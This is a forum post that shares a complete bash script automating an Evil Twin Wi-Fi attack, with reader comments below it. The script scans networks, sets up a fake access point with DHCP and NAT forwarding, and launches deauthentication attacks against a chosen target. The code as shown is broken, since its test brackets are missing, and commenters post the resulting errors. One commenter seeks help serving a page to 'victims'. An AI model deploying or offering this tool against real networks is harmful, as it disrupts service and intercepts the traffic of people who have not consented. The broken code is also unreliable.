News: Evil Twin(Part 3) - the Full Bash Script

Evil Twin(Part 3) - the Full Bash Script

Hello All,

So to recap in part 1 I went through setting up the dchp server. Part 2 detailed the bash script. Now in part 3 I will post the entire bash script. I am doing this in its own post because Part 2 is just way to much info on one post IMO.

Here is the script. Please keep in mind this is my first bash script so it might not be perfect but i think it is pretty good and makes life a little easier. I hope you all enjoy!!!!!!

Update!!!!! Github link at the bottom of the post!

########start copying below this line#########

#!/bin/bash
###########################################################################
#####Author: p4nt4n30######################################################
###########################################################################
function option0(){
echo ""
echo "Enter your monitor mode interface (wlan1mon): "
read interface
}

function option1(){
gnome-terminal -x airodump-ng $interface &
wait
}

function option2(){
bssid=''
while -z $bssid ; do
echo "Enter the BSSID: "
read bssid
done

channel=''
while -z $channel ; do
echo "Enter the Channel: "
read channel
done

echo "Write File Prefix: "
read writeFilePrefix
if -z $writeFilePrefix ; then
echo "No Write File Specified"
else
writeFile=" -w $writeFilePrefix"
fi

sleep 3

gnome-terminal -x airodump-ng --bssid $bssid -c $channel $writeFile $interface &
wait
}

function option3(){
options3=''
echo "Time to set up the Evil Twin AP!!!"
sleep 2
echo "Evil Twin ESSID: "
read etEssid
if -z $etEssid ; then
echo "ESSID not set"
else
options3="$options3 --essid $etEssid"
fi
echo "Evil Twin BSSIDoptional: "
read etBssid
if -z $etBssid ; then
echo "BSSID not set"
else
options3="$options3 -a $etBssid"
fi
echo "Enter the Channel: "
read etChannel
if -z $etChannel ; then
echo "Channel not set"
else
options3="$options3 -c $etChannel"
fi
echo "Enter the host MAC(client connected to target AP)optional: "
read etHost
if -z $etHost ; then
echo "Host MAC not set"
else
options3="$options3 -h $etHost"
fi

sleep 3

echo "Killing Airbase-ng..."
pkill airbase-ng
sleep 2;
echo "Killing DHCP..."
pkill dhcpd
sleep 5;
#echo $options3
echo "Starting Fake AP..."
gnome-terminal -x airbase-ng $options3 $interface &

sleep 2
echo "Starting DHCP Server..."
etInterface=''
while -z $etInterface ; do
echo "Enter Evil Twin Interface"
read etInterface
done

etNetwork=''
while -z $etNetwork ; do
echo "Enter Evil Twin Network (example: 10.0.0.0)"
read etNetwork
done

ifconfig $etInterface up
sleep 2

echo "These next two setting MUST!!! match the setting in your dhcpd.conf file"
sleep 2

etIP=''
while -z $etIP ; do
echo "Enter Evil Twin IPv4 Address"
read etIP
done

etNetmask=''
while -z $etNetmask ; do
echo "Enter Evil Twin netmask"
read etNetmask
done

etOutInterface=''
while -z $etOutInterface ; do
echo "Enter your internet faceing interface:"
read etOutInterface
done

sleep 2
ifconfig $etInterface up
ifconfig $etInterface $etIP netmask $etNetmask
route add -net $etNetwork netmask $etNetmask gw $etIP
sleep 5

iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables -P FORWARD ACCEPT
iptables -t nat -A POSTROUTING -o $etOutInterface -j MASQUERADE

echo > '/var/lib/dhcp/dhcpd.leases'
ln -s /var/run/dhcp/dhcpd.pid /var/run/dhcpd.pid
gnome-terminal -x dhcpd -d -f -cf /etc/dhcp/dhcpd.conf $etInterface &

sleep 5
echo "1" > /proc/sys/net/ipv4/ipforward
}
function option4(){
deauthType=''
while -z $deauthType ; do
echo "Would you like to run a basic deauth attack? (--deauth 100)"
echo "1 Yes"
echo "2 No"
read deauthType
done
echo "you selected $deauthType"
if $deauthType = 1 ; then
gnome-terminal -x aireplay-ng --deauth 100 -a $bssid $interface &
fi

if $deauthType = 2 ; then
echo "Enter your aireplay-ng options, you must add the -a tag, and DO NOT include the interface"
read options4
gnome-terminal -x aireplay-ng $options4 $interface &
fi
wait
}
function option5(){
echo "Killing airbase-ng"
pkill airbase-ng
sleep 1
echo "Killing dhcpd"
pkill dhcpd
sleep 1
echo "Killing aireplay-ng"
pkill aireplay-ng
sleep 1
echo "Killing airodump-ng"
pkill airodump-ng
sleep 1
echo "sleeping..."
sleep 2
exit
}
function menu(){
echo "What would you like to do?"
echo "0 set up interface"
echo "1 find the target"
echo "2 hone in on target"
echo "3 set up Evil-Twin AP"
echo "4 deauth the target AP"
echo "5 exit"
read userInput

}
function userAction(){
case $userInput in
0) option0 ;;
1) option1 ;;
2) option2 ;;
3) option3 ;;
4) option4 ;;
5) option5 ;;
esac
}
echo "##########################################################"
echo "####Evil Twin Automation##################################"
echo "##########################################################"
echo "Created By:###############################################"
echo " ___ _ ___ _ ____ ___ "
echo "(__ \ / / (___) / (___// _ |"
echo " __
) ) /__ __ / /__ __ __ | | //| |"
echo "| __/_
) \| | |_ ) \ (_ \| |// | |"
echo "| | | | | | | | |__ | | | | | |__) ) /_| |"
echo "|| || || ||\___) || || |(___/ \__/ "
echo "##########################################################"
echo "##########################################################"
echo "##########################################################"
echo "##########################################################"
echo ""
echo ""
echo "You MUST set your usb Wifi adapter in monitor mode first"
sleep 1
echo "You MUST have DHCP server installed and configured"
sleep 2
echo "Then follow the steps 1-5"
echo "This will help set up an Evil Twin AP"
echo ""
echo ""
echo ""
sleep 3
uI=0;
interface=''
while -z $interface ; do
option0
done

until $uI = 5 ; do
menu
uI=$userInput
#echo "you selected $uI hello"
userAction
done

########stop copying above this line#########

or download at: https://github.com/p4nt4n30/Evil-Twin

-P4nT4N30

Just updated your iPhone? You'll find new emoji, enhanced security, podcast transcripts, Apple Cash virtual numbers, and other useful features. There are even new additions hidden within Safari. Find out what's new and changed on your iPhone with the iOS 17.4 update.

14 Comments

Please post this in how-tos to make it easier to find

i cant move the post some one else will have to do that. i dont wont to recreate and have a duplicate post. Sorry about hat didn't realize i wasn't in the how to's section.

I haven't tried it out but thanks a lot mahn

Your welcome! Let me know if you have any suggestion if/when you try it out.

To the admins of the site. Is it possible to move this post to the how to section instead of inspiration? If not can i delete this and repost under the how to's.

Thanks,

-P4nT4N30

when i reach step2 it shows an error:

Enter your monitor mode interface (wlan1mon):
wlan0mon
./eviltwins.sh: line 236: 0: command not found
What would you like to do?
0 set up interface
1 find the target
2 hone in on target
3 set up Evil-Twin AP
4 deauth the target AP
5 exit
1
./eviltwins.sh: line 236: 1: command not found
What would you like to do?
0 set up interface
1 find the target
2 hone in on target
3 set up Evil-Twin AP
4 deauth the target AP
5 exit
2
./eviltwins.sh: line 18: -z: command not found
./eviltwins.sh: line 24: -z: command not found
Write File Prefix:

Any help?

i have the same issue
i try to pass to step 3 and 4 but fail with error

You MUST set your usb Wifi adapter in monitor mode first
You MUST have DHCP server installed and configured
Then follow the steps 1-5
This will help set up an Evil Twin AP

et.sh: line 232: -z: command not found
et.sh: line 236: 0: command not found
What would you like to do?
0 set up interface
1 find the target
2 hone in on target
3 set up Evil-Twin AP
4 deauth the target AP
5 exit
0

Enter your monitor mode interface (wlan1mon):
wlan1
et.sh: line 236: 0: command not found
What would you like to do?
0 set up interface
1 find the target
2 hone in on target
3 set up Evil-Twin AP
4 deauth the target AP
5 exit
1
et.sh: line 236: 1: command not found
What would you like to do?
0 set up interface
1 find the target
2 hone in on target
3 set up Evil-Twin AP
4 deauth the target AP
5 exit
2
et.sh: line 18: -z: command not found
et.sh: line 24: -z: command not found
Write File Prefix:
test1
et.sh: line 31: -z: command not found
det.sh: line 236: 2: command not found
What would you like to do?
0 set up interface
1 find the target
2 hone in on target
3 set up Evil-Twin AP
4 deauth the target AP
5 exit
3
et.sh: line 236: d3: command not found
What would you like to do?
0 set up interface
1 find the target
2 hone in on target
3 set up Evil-Twin AP
4 deauth the target AP
5 exit
4
et.sh: line 148: -z: command not found
you selected
et.sh: line 155: =: command not found
et.sh: line 159: =: command not found
et.sh: line 236: 4: command not found
What would you like to do?
0 set up interface
1 find the target
2 hone in on target
3 set up Evil-Twin AP
4 deauth the target AP
5 exit

have you set up the dhcp sever?

what os and version are you using? if your using Kali 2.0 your wifi adpater is wlan*mon where is the number. and not wlan*.

im using kali 2.0 , i have 2 wifi card both support packet injetion and monitor mode , but monitor mode i set up with iwconfig "interface" mode monitor, and it works perfectly, on of the wifi card is TP-Link TL-WN722N chipset Atheros dont remember serial number.

Try this.

in a separate terminal run airmon-ng check kill

then run airmon-ng to find what adapter you want to put into monitor mode. i my case it was wlan2

then run airmon-ng start wlan2.

then run the script

when my evil-twin script starts it will ask you to enter the monitor mode interface. in my case i would enter wlan2mon.

I just went through a complete install of Kali, set up the dhcp and then ran the script seems to make it wall the way through. If that doesnt work for you send me a pm.

also note that you will not have to do step 0 as this is done before starting the script.

-P4nt4N30

and yea i have set up DHCP server,as in tutorial

when i get home from my 9-5 i will take a look at the line and see what might be causing your issue. but at first glance it seems like you have not copied all of the script.

I will have a better answer for you soon.

-P4nT4N30

Hi guys, I´m new to this.

I ´ve created an AP with its DHCP server running OK. I´d like to show a page automatically (the one on the www dir) when my victim connects to my AP, so basically they connect their devices to my AP and automatically on their devices will open a browser with my page, or at least the device shoud tell the victim that my AP is asking for login. (Quite similar to some airports wifi connections)

Can someone help me?
Thanks

Share Your Thoughts

  • Hot
  • Latest